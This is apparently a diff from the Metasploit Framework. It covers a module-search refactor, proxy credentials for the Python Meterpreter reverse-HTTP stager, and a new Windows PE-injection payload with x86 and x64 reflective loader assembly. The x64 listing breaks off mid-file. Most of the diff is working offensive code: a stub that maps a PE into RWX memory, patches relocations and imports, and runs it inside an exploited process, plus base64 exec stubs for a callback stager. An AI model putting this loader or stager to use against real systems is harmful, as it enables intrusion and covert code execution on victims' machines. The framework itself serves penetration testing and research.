|
||||
|
||||
module SearchMode
|
||||
INCLUDE = 0
|
||||
EXCLUDE = 1
|
||||
end
|
||||
|
||||
#
|
||||
# Parses command line search string into a hash. A param prefixed with '-' indicates "not", and will omit results
|
||||
# matching that keyword. This hash can be used with the find command.
|
||||
@@ -52,9 +59,9 @@ module Msf::Modules::Metadata::Search
|
||||
res[keyword] ||=[ [], [] ]
|
||||
if search_term[0,1] == "-"
|
||||
next if search_term.length == 1
|
||||
res[keyword][1] << search_term[1,search_term.length-1]
|
||||
res[keyword][SearchMode::EXCLUDE] << search_term[1,search_term.length-1]
|
||||
else
|
||||
res[keyword][0] << search_term
|
||||
res[keyword][SearchMode::INCLUDE] << search_term
|
||||
end
|
||||
end
|
||||
res
|
||||
@@ -87,22 +94,41 @@ module Msf::Modules::Metadata::Search
|
||||
|
||||
param_hash = params
|
||||
|
||||
[0,1].each do |mode|
|
||||
[SearchMode::INCLUDE, SearchMode::EXCLUDE].each do |mode|
|
||||
match = false
|
||||
param_hash.keys.each do |keyword|
|
||||
next if param_hash[keyword][mode].length == 0
|
||||
|
||||
# free form text search will honor 'and' semantics, i.e. 'metasploit pro' will only match modules that contain both
|
||||
# words, and will return false when only one word is matched
|
||||
if keyword == 'text'
|
||||
text_segments = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
|
||||
|
||||
if module_metadata.targets
|
||||
text_segments = text_segments + module_metadata.targets
|
||||
end
|
||||
|
||||
param_hash[keyword][mode].each do |search_term|
|
||||
has_match = text_segments.any? { |text_segment| text_segment =~ as_regex(search_term) }
|
||||
match = [keyword, search_term] if has_match
|
||||
if mode == SearchMode::INCLUDE && !has_match
|
||||
return false
|
||||
end
|
||||
if mode == SearchMode::EXCLUDE && has_match
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
next
|
||||
end
|
||||
|
||||
# The remaining keywords honor 'or' semantics, i.e. the following param_hash will match either osx, or linux
|
||||
# {"platform"=>[["osx", "linux"], []]}
|
||||
param_hash[keyword][mode].each do |search_term|
|
||||
# Reset the match flag for each keyword for inclusive search
|
||||
match = false if mode == 0
|
||||
match = false if mode == SearchMode::INCLUDE
|
||||
|
||||
# Convert into a case-insensitive regex
|
||||
utf8_buf = search_term.dup.force_encoding('UTF-8')
|
||||
if utf8_buf.valid_encoding?
|
||||
regex = Regexp.new(Regexp.escape(utf8_buf), true)
|
||||
else
|
||||
return false
|
||||
end
|
||||
regex = as_regex(search_term)
|
||||
case keyword
|
||||
when 'aka'
|
||||
match = [keyword, search_term] if (module_metadata.notes['AKA'] || []).any? { |aka| aka =~ regex }
|
||||
@@ -176,13 +202,6 @@ module Msf::Modules::Metadata::Search
|
||||
match = [keyword, search_term] if module_metadata.references.any? { |ref| ref =~ regex }
|
||||
when 'target', 'targets'
|
||||
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
|
||||
when 'text'
|
||||
terms = [module_metadata.name, module_metadata.fullname, module_metadata.description] + module_metadata.references + module_metadata.author + (module_metadata.notes['AKA'] || [])
|
||||
|
||||
if module_metadata.targets
|
||||
terms = terms + module_metadata.targets
|
||||
end
|
||||
match = [keyword, search_term] if terms.any? { |term| term =~ regex }
|
||||
when 'type'
|
||||
match = [keyword, search_term] if Msf::MODULE_TYPES.any? { |module_type| search_term == module_type and module_metadata.type == module_type }
|
||||
else
|
||||
@@ -192,12 +211,12 @@ module Msf::Modules::Metadata::Search
|
||||
break if match
|
||||
end
|
||||
# Filter this module if no matches for a given keyword type
|
||||
if mode == 0 and not match
|
||||
if mode == SearchMode::INCLUDE and not match
|
||||
return false
|
||||
end
|
||||
end
|
||||
# Filter this module if we matched an exclusion keyword (-value)
|
||||
if mode == 1 and match
|
||||
if mode == SearchMode::EXCLUDE and match
|
||||
return false
|
||||
end
|
||||
end
|
||||
@@ -205,6 +224,17 @@ module Msf::Modules::Metadata::Search
|
||||
true
|
||||
end
|
||||
|
||||
def as_regex(search_term)
|
||||
# Convert into a case-insensitive regex
|
||||
utf8_buf = search_term.dup.force_encoding('UTF-8')
|
||||
if utf8_buf.valid_encoding?
|
||||
Regexp.new(Regexp.escape(utf8_buf), Regexp::IGNORECASE)
|
||||
else
|
||||
# If the encoding is invalid, default to a regex that matches anything
|
||||
//
|
||||
end
|
||||
end
|
||||
|
||||
def get_fields(module_metadata, fields)
|
||||
selected_fields = {}
|
||||
|
||||
|
||||
@@ -12,12 +12,14 @@ module Msf::Payload::Python
|
||||
# @param cmd [String] The python code to execute.
|
||||
# @return [String] Full python stub to execute the command.
|
||||
#
|
||||
def py_create_exec_stub(cmd)
|
||||
def self.create_exec_stub(cmd)
|
||||
# Base64 encoding is required in order to handle Python's formatting
|
||||
|
||||
b64_stub = "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(cmd)}')[0]))"
|
||||
b64_stub
|
||||
|
||||
end
|
||||
|
||||
def py_create_exec_stub(cmd)
|
||||
Msf::Payload::Python.create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -71,7 +71,7 @@ module Payload::Python::MeterpreterLoader
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
unless ds['MeterpreterTryToFork']
|
||||
@@ -102,6 +102,8 @@ module Payload::Python::MeterpreterLoader
|
||||
http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
|
||||
http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
|
||||
http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
|
||||
http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser']
|
||||
http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass']
|
||||
http_header_host = opts[:header_host] || ds['HttpHostHeader']
|
||||
http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
|
||||
http_header_referer = opts[:header_referer] || ds['HttpReferer']
|
||||
@@ -125,8 +127,14 @@ module Payload::Python::MeterpreterLoader
|
||||
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
|
||||
|
||||
if http_proxy_host.to_s != ''
|
||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
http_proxy_url = "http://"
|
||||
unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == ''
|
||||
http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@"
|
||||
end
|
||||
http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host)
|
||||
http_proxy_url << ":#{http_proxy_port}"
|
||||
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ module Payload::Python::ReverseHttp
|
||||
Msf::Opt::http_header_options +
|
||||
Msf::Opt::http_proxy_options
|
||||
)
|
||||
deregister_options('HttpProxyType')
|
||||
end
|
||||
|
||||
#
|
||||
@@ -27,6 +28,8 @@ module Payload::Python::ReverseHttp
|
||||
port: ds['LPORT'],
|
||||
proxy_host: ds['HttpProxyHost'],
|
||||
proxy_port: ds['HttpProxyPort'],
|
||||
proxy_user: ds['HttpProxyUser'],
|
||||
proxy_pass: ds['HttpProxyPass'],
|
||||
user_agent: ds['HttpUserAgent'],
|
||||
header_host: ds['HttpHostHeader'],
|
||||
header_cookie: ds['HttpCookie'],
|
||||
@@ -74,15 +77,22 @@ module Payload::Python::ReverseHttp
|
||||
# required opts:
|
||||
# proxy_host, proxy_port, scheme, user_agent
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
txt.gsub('\\', '\\' * 4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
proxy_host = opts[:proxy_host]
|
||||
proxy_port = opts[:proxy_port]
|
||||
proxy_user = opts[:proxy_user]
|
||||
proxy_pass = opts[:proxy_pass]
|
||||
|
||||
urllib_fromlist = ['\'build_opener\'']
|
||||
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
|
||||
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
|
||||
if proxy_host.to_s != ''
|
||||
urllib_fromlist << '\'ProxyHandler\''
|
||||
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
|
||||
urllib_fromlist << '\'ProxyBasicAuthHandler\''
|
||||
end
|
||||
end
|
||||
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
|
||||
|
||||
cmd = "import zlib,base64,sys\n"
|
||||
@@ -100,10 +110,17 @@ module Payload::Python::ReverseHttp
|
||||
end
|
||||
|
||||
if proxy_host.to_s != ''
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
proxy_url = "http://"
|
||||
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
|
||||
proxy_url << "#{Rex::Text.uri_encode(proxy_user)}:#{Rex::Text.uri_encode(proxy_pass)}@"
|
||||
end
|
||||
proxy_url << (Rex::Socket.is_ipv6?(proxy_host) ? "[#{proxy_host}]" : proxy_host)
|
||||
proxy_url << ":#{proxy_port}"
|
||||
|
||||
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
unless proxy_user.to_s == '' && proxy_pass.to_s == ''
|
||||
cmd << "hs.append(ul.ProxyBasicAuthHandler())\n"
|
||||
end
|
||||
end
|
||||
|
||||
headers = []
|
||||
|
||||
@@ -0,0 +1,156 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
class OptInjectablePE < OptPath
|
||||
def initialize(*args, arch:, **kwargs)
|
||||
@arch = arch
|
||||
super(*args, **kwargs)
|
||||
end
|
||||
|
||||
def self.assert_compatible(pe, arch)
|
||||
unless (arch == ARCH_X86 && pe.ptr_32?) || (arch == ARCH_X64 && pe.ptr_64?)
|
||||
raise Msf::ValidationError, "Selected PE file is not #{arch}"
|
||||
end
|
||||
|
||||
# TODO: Add reflective CLR loading support
|
||||
unless pe.hdr.opt['DataDirectory'][14].v['Size'] == 0
|
||||
raise Msf::ValidationError, 'PE files with CLR are not currently supported'
|
||||
end
|
||||
|
||||
unless pe.hdr.opt['DataDirectory'][5].v['Size'] != 0
|
||||
raise Msf::ValidationError, 'PE file is missing relocation data'
|
||||
end
|
||||
|
||||
unless pe.hdr.opt['DataDirectory'][11].v['Size'] == 0
|
||||
raise Msf::ValidationError, 'PE file contains bounded imports'
|
||||
end
|
||||
|
||||
unless pe.hdr.opt['DataDirectory'][9].v['Size'] == 0
|
||||
tls_offset = pe.rva_to_file_offset(pe.hdr.opt['DataDirectory'][9].v['VirtualAddress'])
|
||||
unless tls_offset.to_i == 0
|
||||
tls_callback_table_offset = ''
|
||||
if arch == ARCH_X86
|
||||
tls_callback_table_offset = pe.read(tls_offset + 4, 4)
|
||||
else
|
||||
tls_callback_table_offset = pe.read(tls_offset + 12, 12)
|
||||
end
|
||||
unless tls_callback_table_offset.to_i == 0
|
||||
unless pe.read(tls_callback_table_offset, 4).to_i == 0
|
||||
raise Msf::ValidationError, 'PE file contains TLS callbacks'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def valid?(value, check_empty: nil)
|
||||
return false unless super
|
||||
return false unless File.exist?(File.expand_path(value)) # no memory: locations
|
||||
|
||||
begin
|
||||
self.class.assert_compatible(Rex::PeParsey::Pe.new_from_file(value, true), @arch)
|
||||
rescue Msf::ValidationError
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Reflective PE module injects a custom native PE file into the exploited process using a reflective PE loader stub
|
||||
#
|
||||
###
|
||||
module Payload::Windows::PEInject
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options([
|
||||
OptInjectablePE.new('PE', [ true, 'The local path to the PE file to upload' ], arch: arch.first)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the PE file path
|
||||
#
|
||||
def pe_path
|
||||
datastore['PE']
|
||||
end
|
||||
|
||||
#
|
||||
# Transmits the reflective PE payload to the remote
|
||||
# computer so that it can be loaded into memory.
|
||||
#
|
||||
def handle_connection(conn, _opts = {})
|
||||
data = ''
|
||||
begin
|
||||
File.open(pe_path, 'rb') do |f|
|
||||
data += f.read
|
||||
end
|
||||
rescue StandardError
|
||||
print_error("Failed to load PE: #{$ERROR_INFO}.")
|
||||
elog('Failed to load the PE file', error: e)
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Premapping PE file...')
|
||||
pe_map = create_pe_memory_map(data)
|
||||
print_status("Mapped PE size #{pe_map[:bytes].length}")
|
||||
opts = {}
|
||||
opts[:is_dll] = pe_map[:is_dll]
|
||||
opts[:exitfunk] = datastore['EXITFUNC']
|
||||
p = encapsulate_reflective_stub(pe_map[:bytes], opts)
|
||||
|
||||
print_status("Uploading reflective PE (#{p.length} bytes)...")
|
||||
# Send the size of the thing we're transferring
|
||||
conn.put([ p.length ].pack('V'))
|
||||
# Send the image name + image
|
||||
conn.put(p)
|
||||
print_status('Upload completed')
|
||||
ensure
|
||||
conn.close
|
||||
end
|
||||
|
||||
def create_pe_memory_map(file)
|
||||
pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(file))
|
||||
begin
|
||||
OptInjectablePE.assert_compatible(pe, arch.first)
|
||||
rescue Msf::ValidationError => e
|
||||
print_error("PE validation error: #{e.message}")
|
||||
raise
|
||||
end
|
||||
|
||||
pe_map = {}
|
||||
pe_map[:bytes] = ''
|
||||
pe_map[:is_dll] = pe._file_header.v['Characteristics'] == (pe._file_header.v['Characteristics'] | 0x2000)
|
||||
vprint_status("PE Characteristics: #{'0x%.8x' % pe._file_header.v['Characteristics']}")
|
||||
offset = 0
|
||||
virtual_offset = pe.image_base
|
||||
vprint_status("ImageBase: 0x#{pe.image_base.to_s(16)}")
|
||||
vprint_status("SizeOfImage: 0x#{pe._optional_header.v['SizeOfImage'].to_s(16)}")
|
||||
vprint_status("#{pe.sections.first.name} VMA: 0x#{(pe.image_base + pe.sections.first.vma).to_s(16)}")
|
||||
vprint_status("#{pe.sections.first.name} Offset: 0x#{pe.sections.first.file_offset.to_s(16)}")
|
||||
until offset == pe.sections.first.file_offset
|
||||
pe_map[:bytes] << file[offset]
|
||||
virtual_offset += 1
|
||||
offset += 1
|
||||
end
|
||||
|
||||
# Map PE sections
|
||||
pe.sections.each do |sec|
|
||||
pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base) - virtual_offset)
|
||||
virtual_offset = sec.vma + pe.image_base
|
||||
pe_map[:bytes] << sec.read(0, sec.raw_size)
|
||||
virtual_offset += sec.raw_size
|
||||
pe_map[:bytes] << "\x00" * ((sec.vma + pe.image_base + sec.size) - virtual_offset)
|
||||
virtual_offset = sec.vma + pe.image_base + sec.size
|
||||
end
|
||||
|
||||
pe_map[:bytes] << "\x00" * ((pe.image_base + pe._optional_header.v['SizeOfImage']) - virtual_offset)
|
||||
pe_map
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,172 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
|
||||
module Msf
|
||||
module Payload::Windows::ReflectivePELoader
|
||||
include Payload::Windows::BlockApi
|
||||
def asm_reflective_pe_loader(opts)
|
||||
|
||||
prologue = ''
|
||||
if opts[:is_dll] == true
|
||||
prologue = %(
|
||||
push edi ; AOE
|
||||
sub [esp],eax ; hinstDLL
|
||||
push 0x01 ; fdwReason
|
||||
push 0x00 ; lpReserved
|
||||
)
|
||||
end
|
||||
|
||||
%^
|
||||
stub:
|
||||
cld ; Clear direction flags
|
||||
pop esi ; Get the address of image to esi
|
||||
call $+5 ; Push the current EIP to stack
|
||||
sub [esp],esi ; Subtract &PE from EIP and get image_size
|
||||
call start ; Push the address of API to stack
|
||||
#{asm_block_api}
|
||||
start: ;
|
||||
pop ebp ; Get the address of api to ebp
|
||||
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||
push eax ; Save the address of entry to stack
|
||||
push 0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
||||
push dword [esp+12] ; dwSize
|
||||
push 0x00 ; lpAddress
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
push eax ; Save the new image base to stack
|
||||
xor edx,edx ; Zero out the edx
|
||||
relocate:
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov ecx,[eax+esi+0xA4] ; Base relocation table size
|
||||
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
|
||||
add eax,esi ; Base relocation table memory address
|
||||
add ecx,eax ; End of base relocation table
|
||||
calc_delta:
|
||||
mov edi,[esp] ; Move the new base address to EDI
|
||||
sub edi,ebx ; Delta value
|
||||
push dword [eax] ; Reloc RVA
|
||||
push dword [eax+4] ; Reloc table size
|
||||
add eax,0x08 ; Move to the reloc descriptor
|
||||
jmp fix ; Start fixing
|
||||
get_rva:
|
||||
cmp ecx,eax ; Check if the end of the reloc section ?
|
||||
jle reloc_fin ; If yes goto fin
|
||||
add esp,0x08 ; Deallocate old reloc RVA and reloc table size variables
|
||||
push dword [eax] ; Push new reloc RVA
|
||||
push dword [eax+4] ; Push new reloc table size
|
||||
add eax,0x08 ; Move 8 bytes
|
||||
fix:
|
||||
cmp word [esp],0x08 ; Check if the end of the reloc block
|
||||
jz get_rva ; If yes set the next block RVA
|
||||
mov dx,word [eax] ; Move the reloc desc to dx
|
||||
cmp dx, 0x00 ; Check if it is a padding word
|
||||
je pass
|
||||
and dx,0x0FFF ; Get the last 12 bits
|
||||
add edx,[esp+4] ; Add block RVA to desc value
|
||||
add edx,esi ; Add the start address of the image
|
||||
add dword [edx],edi ; Add the delta value to calculated absolute address
|
||||
pass:
|
||||
sub dword [esp],0x02 ; Decrease the index
|
||||
add eax,0x02 ; Move to the next reloc desc.
|
||||
xor edx,edx ; Zero out edx
|
||||
jmp fix ; Loop
|
||||
reloc_fin:
|
||||
pop eax ; Deallocate all vars
|
||||
pop eax ; ...
|
||||
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||
add eax,esi ; Import table memory address (first image import descriptor)
|
||||
push eax ; Save the address of import descriptor to stack
|
||||
get_modules:
|
||||
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
|
||||
jz complete ; If yes building process is done
|
||||
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||
add eax,esi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov ebx,eax ; Move the dll handle to ebx
|
||||
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call get_procs ; Resolve all windows API function addresses
|
||||
add dword [esp],0x14 ; Move to the next import descriptor
|
||||
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||
jmp get_modules
|
||||
get_procs:
|
||||
push ecx ; Save ecx to stack
|
||||
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add [esp],esi ; Get the IAT memory address
|
||||
mov eax,[eax] ; Set the import names table RVA to eax
|
||||
add eax,esi ; Get the current import descriptor's import names table address
|
||||
push eax ; Save it to stack
|
||||
resolve:
|
||||
cmp dword [eax],0x00 ; Check if end of the import names table
|
||||
jz all_resolved ; If yes resolving process is done
|
||||
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||
js name_resolve ; If high order bit is not set resolve with INT entry
|
||||
sub eax,0x80000000 ; Zero out the high bit
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp insert_iat ; Insert the address of API tı IAT
|
||||
name_resolve:
|
||||
add eax,esi ; Set the address of function hint
|
||||
add eax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
insert_iat:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov [ecx],eax ; Insert the function address to IAT
|
||||
add dword [esp],0x04 ; Increase the import names table index
|
||||
add dword [esp+4],0x04 ; Increase the IAT index
|
||||
mov eax,[esp] ; Set the address of import names table address to eax
|
||||
jmp resolve ; Loop
|
||||
all_resolved:
|
||||
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||
mov dword [ecx],0x00 ; Insert a NULL dword
|
||||
pop ecx ; Deallocate index values
|
||||
pop ecx ; ...
|
||||
pop ecx ; Put back the ecx value
|
||||
ret ; <-
|
||||
LoadLibraryA:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of linrary name string
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; ror13( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA([esp+4])
|
||||
pop edx ; Retreive edx
|
||||
pop ecx ; Retreive ecx
|
||||
ret ; <-
|
||||
GetProcAddress:
|
||||
push ecx ; Save ecx to stack
|
||||
push edx ; Save edx to stack
|
||||
push eax ; Push the address of proc name string
|
||||
push ebx ; Push the dll handle
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')} ; ror13( "kernel32.dll", "GetProcAddress" )
|
||||
call ebp ; GetProcAddress(ebx,[esp+4])
|
||||
pop edx ; Retrieve edx
|
||||
pop ecx ; Retrieve ecx
|
||||
ret ; <-
|
||||
complete:
|
||||
pop eax ; Clean out the stack
|
||||
pop edi ; ..
|
||||
mov edx,edi ; Copy the address of new base to EDX
|
||||
pop eax ; Pop the address_of_entry to EAX
|
||||
add edi,eax ; Add the address of entry to new image base
|
||||
pop ecx ; Pop the image_size to ECX
|
||||
memcpy:
|
||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||
mov [edx],al ; Move 1 byte of PE image to image base
|
||||
inc esi ; Increase PE image index
|
||||
inc edx ; Increase image base index
|
||||
loop memcpy ; Loop until ECX = 0
|
||||
PE_Start:
|
||||
#{prologue}
|
||||
call edi ; Call PE AOE
|
||||
push 0x00 ; dwExitCode
|
||||
push #{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
call api_call ; Call the exit funk based on exit_type
|
||||
^
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,173 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
|
||||
module Msf
|
||||
module Payload::Windows::ReflectivePELoader_x64
|
||||
include Payload::Windows::BlockApi_x64
|
||||
def asm_reflective_pe_loader_x64(opts)
|
||||
|
||||
prologue = ''
|
||||
if opts[:is_dll] == true
|
||||
prologue = %(
|
||||
mov rcx,r13 ; hinstDLL
|
||||
mov rdx,0x01 ; fdwReason
|
||||
xor r8,r8 ; lpReserved
|
||||
)
|
||||
end
|
||||
|
||||
%^
|
||||
stub:
|
||||
pop rsi ; Get the address of image to rsi
|
||||
call $+5 ; Push the current RIP value to stack
|
||||
cld ; Clear direction flags
|
||||
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
|
||||
mov rbp,rsp ; Copy current stack address to rbp
|
||||
and rbp,-0x1000 ; Create a new shadow stack address
|
||||
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
|
||||
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
|
||||
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
|
||||
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
||||
mov rdx,[rsp] ; dwSize
|
||||
xor rcx,rcx ; lpAddress
|
||||
xchg rsp,rbp ; Swap shadow stack
|
||||
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
xchg rsp,rbp ; Swap shadow stack
|
||||
mov rdi,rax ; Save the new base address to rdi
|
||||
xor rax,rax ; Zero out the RAX
|
||||
xor r8,r8 ; Zero out the R8
|
||||
xor r13,r13 ; Zero out the R13
|
||||
xor r14,r14 ; Zero out the R14
|
||||
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
|
||||
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
|
||||
add rax,rsi ; Base relocation table memory address
|
||||
add rcx,rax ; End of base relocation table
|
||||
calc_delta:
|
||||
mov rdx,rdi ; Move the new base address to rdx
|
||||
sub rdx,rbx ; Delta value
|
||||
mov r13d,dword [rax] ; Move the reloc RVA to R13D
|
||||
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
|
||||
add rax,0x08 ; Move to the reloc descriptor
|
||||
jmp fix ; Start fixing
|
||||
get_rva:
|
||||
cmp rcx,rax ; Check if the end of the reloc section
|
||||
jle reloc_fin ; If yes goto fin
|
||||
mov r13d,dword [rax] ; Move the new reloc RVA
|
||||
mov r14d,dword [rax+4] ; Move the new reloc table size
|
||||
add rax,0x08 ; Move 8 bytes
|
||||
fix:
|
||||
cmp r14w,0x08 ; Check if the end of the reloc block
|
||||
jz get_rva ; If yes set the next block RVA
|
||||
mov r8w,word [rax] ; Move the reloc desc to r8w
|
||||
cmp r8w, 0x00 ; Check if it is a padding word
|
||||
je pass ; Pass padding bytes
|
||||
and r8w,0x0FFF ; Get the last 12 bits
|
||||
add r8d,r13d ; Add block RVA to desc value
|
||||
add r8,rsi ; Add the start address of the image
|
||||
add [r8],rdx ; Add the delta value to calculated absolute address
|
||||
pass:
|
||||
sub r14d,0x02 ; Decrease the index
|
||||
add rax,0x02 ; Move to the next reloc desc.
|
||||
xor r8,r8 ; Zero out r8
|
||||
jmp fix ; Loop
|
||||
reloc_fin: ; All done !
|
||||
xor r14,r14 ; Zero out r14
|
||||
xor r15,r15 ; Zero out r15
|
||||
xor rcx,rcx ; Zero out rcx
|
||||
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||
mov eax,dword [rax+rsi+0x90] ; Import table RVA
|
||||
add rax,rsi ; Import table memory address (first image import descriptor)
|
||||
push rax ; Save import descriptor to stack
|
||||
get_modules:
|
||||
cmp dword [rax],0 ; Check if the import names table RVA is NULL
|
||||
jz complete ; If yes building process is done
|
||||
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
|
||||
add rcx,rsi ; Get the dll name address
|
||||
call LoadLibraryA ; Load the library
|
||||
mov r13,rax ; Move the dll handle to R13
|
||||
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||
call get_procs ; Resolve all windows API function addresses
|
||||
add dword [rsp],0x14 ; Move to the next import descriptor
|
||||
mov rax,[rsp] ; Set the new import descriptor address to eax
|
||||
jmp get_modules ; Get other modules
|
||||
get_procs:
|
||||
mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA
|
||||
add r14,rsi ; Get the IAT memory address
|
||||
mov rax,[rax] ; Set the import names table RVA to eax
|
||||
add rax,rsi ; Get the current import descriptor's import names table address
|
||||
mov r15,rax ; Save &INT to R15
|
||||
resolve:
|
||||
cmp dword [rax],0x00 ; Check if end of the import names table
|
||||
jz all_resolved ; If yes resolving process is done
|
||||
mov rax,[rax] ; Get the RVA of function hint to eax
|
||||
btr rax,63 ; Check if the high order bit is set
|
||||
jnc name_resolve ; If high order bit is not set resolve with INT entry
|
||||
shl rax,2 ; Discard the high bit by shifting
|
||||
shr rax,2 ; Shift back the original value
|
||||
call GetProcAddress ; Get the API address with hint
|
||||
jmp insert_iat ; Insert the address of API tı IAT
|
||||
name_resolve:
|
||||
add rax,rsi ; Set the address of function hint
|
||||
add rax,0x02 ; Move to function name
|
||||
call GetProcAddress ; Get the function address to eax
|
||||
insert_iat:
|
||||
mov [r14],rax ; Insert the function address to IAT
|
||||
add r14,0x08 ; Increase the IAT index
|
||||
add r15,0x08 ; Increase the import names table index
|
||||
mov rax,r15 ; Set the address of import names table address to eax
|
||||
jmp resolve ; Loop
|
||||
all_resolved:
|
||||
mov qword [r14],0x00 ; Insert a NULL dword
|
||||
ret ; <-
|
||||
LoadLibraryA:
